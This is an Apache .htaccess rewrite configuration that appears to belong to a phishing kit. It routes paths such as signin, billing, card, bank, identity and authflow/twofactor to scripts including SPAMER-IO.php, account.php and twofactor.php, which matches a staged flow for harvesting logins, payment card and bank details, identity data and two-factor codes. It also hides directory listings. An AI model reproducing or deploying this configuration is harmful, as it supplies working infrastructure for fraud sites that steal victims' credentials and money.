RewriteEngine on
RewriteRule ^signin/([0-9a-zA-Z._]+) SPAMER-IO.php?key=$1
RewriteRule ^mail/([0-9a-zA-Z._]+) SPAMER-IO.php?key=$1
RewriteRule ^billing/([0-9a-zA-Z._]+) account.php?key=$1
RewriteRule ^card/([0-9a-zA-Z._]+) account.php?key=$1
RewriteRule ^bank/([0-9a-zA-Z._]+) account.php?key=$1
RewriteRule ^identity/([0-9a-zA-Z._]+) pap.php?key=$1
RewriteRule ^done/([0-9a-zA-Z._]+) ok.php?key=$1
RewriteRule ^authflow/twofactor/([0-9a-zA-Z._]+) twofactor.php?key=$1

RewriteCond %{THE_REQUEST} ^[A-Z]{3,9}\ /(.*)index\.php($|\ |\?)
RewriteRule ^ /%1 [R=301,L]
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME}.php -f
RewriteRule ^(.*)$ $1.php
Options -Indexes